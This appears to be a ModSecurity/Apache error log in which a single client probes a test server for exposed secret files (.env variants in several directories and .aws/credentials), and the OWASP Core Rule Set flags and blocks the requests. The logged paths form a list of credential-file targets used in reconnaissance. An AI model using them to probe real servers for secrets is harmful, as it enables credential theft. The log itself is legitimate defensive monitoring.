[Fri Dec 05 14:59:28.572470 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aTLlQO0tnvJIONeyH4oeYgAAAAE&quot;]
[Fri Dec 05 14:59:28.572705 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aTLlQO0tnvJIONeyH4oeYgAAAAE&quot;]
[Fri Dec 05 14:59:28.572921 2025] [:error] [pid 532226] [client 45.148.10.247:59724] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aTLlQO0tnvJIONeyH4oeYgAAAAE&quot;]
[Fri Dec 05 14:59:29.208328 2025] [:error] [pid 531700] [client 45.148.10.247:35000] [client 45.148.10.247] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aTLlQfjYAO6Jy5EVgXUuvAAAAIM&quot;]
[Fri Dec 05 14:59:29.208502 2025] [:error] [pid 531700] [client 45.148.10.247:35000] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aTLlQfjYAO6Jy5EVgXUuvAAAAIM&quot;]
[Fri Dec 05 14:59:29.208839 2025] [:error] [pid 531700] [client 45.148.10.247:35000] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aTLlQfjYAO6Jy5EVgXUuvAAAAIM&quot;]
[Fri Dec 05 14:59:29.209113 2025] [:error] [pid 531700] [client 45.148.10.247:35000] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aTLlQfjYAO6Jy5EVgXUuvAAAAIM&quot;]
[Fri Dec 05 14:59:29.276870 2025] [:error] [pid 531700] [client 45.148.10.247:35000] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aTLlQfjYAO6Jy5EVgXUuvQAAAIM&quot;]
[Fri Dec 05 14:59:29.277100 2025] [:error] [pid 531700] [client 45.148.10.247:35000] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aTLlQfjYAO6Jy5EVgXUuvQAAAIM&quot;]
[Fri Dec 05 14:59:29.277307 2025] [:error] [pid 531700] [client 45.148.10.247:35000] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aTLlQfjYAO6Jy5EVgXUuvQAAAIM&quot;]
[Fri Dec 05 14:59:37.445064 2025] [:error] [pid 531695] [client 45.148.10.247:41836] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aTLlSSzhE94da41W-WGIJQAAAH4&quot;]
[Fri Dec 05 14:59:37.445321 2025] [:error] [pid 531695] [client 45.148.10.247:41836] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aTLlSSzhE94da41W-WGIJQAAAH4&quot;]
[Fri Dec 05 14:59:37.445502 2025] [:error] [pid 531695] [client 45.148.10.247:41836] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aTLlSSzhE94da41W-WGIJQAAAH4&quot;]
[Fri Dec 05 14:59:37.512482 2025] [:error] [pid 531695] [client 45.148.10.247:41836] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aTLlSSzhE94da41W-WGIJgAAAH4&quot;]
[Fri Dec 05 14:59:37.512729 2025] [:error] [pid 531695] [client 45.148.10.247:41836] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aTLlSSzhE94da41W-WGIJgAAAH4&quot;]
[Fri Dec 05 14:59:37.512915 2025] [:error] [pid 531695] [client 45.148.10.247:41836] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aTLlSSzhE94da41W-WGIJgAAAH4&quot;]
[Fri Dec 05 14:59:37.739736 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7AAAAAo&quot;]
[Fri Dec 05 14:59:37.740007 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7AAAAAo&quot;]
[Fri Dec 05 14:59:37.740207 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7AAAAAo&quot;]
[Fri Dec 05 14:59:37.840488 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7QAAAAo&quot;]
[Fri Dec 05 14:59:37.840719 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7QAAAAo&quot;]
[Fri Dec 05 14:59:37.840906 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7QAAAAo&quot;]
[Fri Dec 05 14:59:37.965605 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7gAAAAo&quot;]
[Fri Dec 05 14:59:37.965856 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7gAAAAo&quot;]
[Fri Dec 05 14:59:37.966074 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aTLlScIri--FKxkDQUtB7gAAAAo&quot;]
[Fri Dec 05 14:59:38.084134 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB7wAAAAo&quot;]
[Fri Dec 05 14:59:38.084368 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB7wAAAAo&quot;]
[Fri Dec 05 14:59:38.084581 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB7wAAAAo&quot;]
[Fri Dec 05 14:59:38.228351 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8AAAAAo&quot;]
[Fri Dec 05 14:59:38.228580 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8AAAAAo&quot;]
[Fri Dec 05 14:59:38.228809 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8AAAAAo&quot;]
[Fri Dec 05 14:59:38.316550 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8QAAAAo&quot;]
